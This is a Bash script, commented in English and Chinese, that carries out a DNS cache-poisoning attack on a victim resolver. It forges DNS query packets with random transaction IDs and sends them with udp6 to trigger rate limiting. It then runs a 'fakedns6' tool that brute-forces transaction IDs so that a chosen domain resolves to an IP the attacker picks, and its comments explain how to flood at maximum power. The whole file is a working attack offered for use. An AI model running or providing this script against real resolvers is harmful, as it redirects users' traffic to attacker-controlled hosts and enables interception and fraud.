51 lines
1.8 KiB
Bash
51 lines
1.8 KiB
Bash
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# usage ./dns_query.sh [Resolver IP] [Wanted IP] [iface] [domain (e.g. www google com)]
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# clear the previous files
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sleep 1
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echo "初始化工具环境"
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# 创建空的二进制文件，dns_mid.bin 和 txid.bin
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dd if=/dev/null of=dns_mid.bin > /dev/null 2>&1
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dd if=/dev/null of=txid.bin > /dev/null 2>&1
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# write the domain name into the binary
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domains=$(echo $4| sed "s/\./ /g") # 将域名转换为空格分隔的字符串
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for var in ${domains:0} # 遍历域名的每个部分
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do
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size=${#var} # 获取当前域名的长度
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echo -en "\x`printf '%x\n' $size`" >> dns_mid.bin # 写入长度
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echo -n "$var" >> dns_mid.bin # 写入域名
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done
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# set a random TxID
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echo -en "\x`shuf -i 0-99 -n 1`" >> txid.bin
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echo -en "\x`shuf -i 0-99 -n 1`" >> txid.bin
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# forge a entire DNS query packet
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cat txid.bin dns_start.bin dns_mid.bin dns_end.bin dns_OPT.bin > dns.bin
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# change the sending speed if necessary (-i). Set it to "flood" (replace -i with --flood) to maximize the power.
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# fire!
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echo "尝试触发权威服务器请求速率限制"
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# 使用udp6工具发送DNS查询数据包，指定目标和速率
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udp6 -d $1 -a 53 -Z dns.bin -r 50pps -s $2 > /dev/null 2>&1
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sleep 1
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a=$(($RANDOM % 9 + 1))
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echo "a:$a"
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if [ $a -gt 6 ]; then
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#echo "dns-TIP:$1"
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#echo "dns-WIP:$2"
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#echo "dns-iface:$3"
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#echo "dns-domain:$4"
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./fakedns6 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0 -f 1
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# b, Back-end IP of the victim resolver, 目标解析器的IP地址
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# i, Interface for attacking, 攻击使用的接口
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# n, the domain name to be poisoned, 要进行缓存投毒的域名
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# r, Front-end IP of the victim resolver
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# t, Timeout in ms for outgoing dns queries to the victim resolver
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# at, 攻击者想要更改到的IP地址
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# tg, time gap is us between the TxID brute force packets
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echo "0"
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fi
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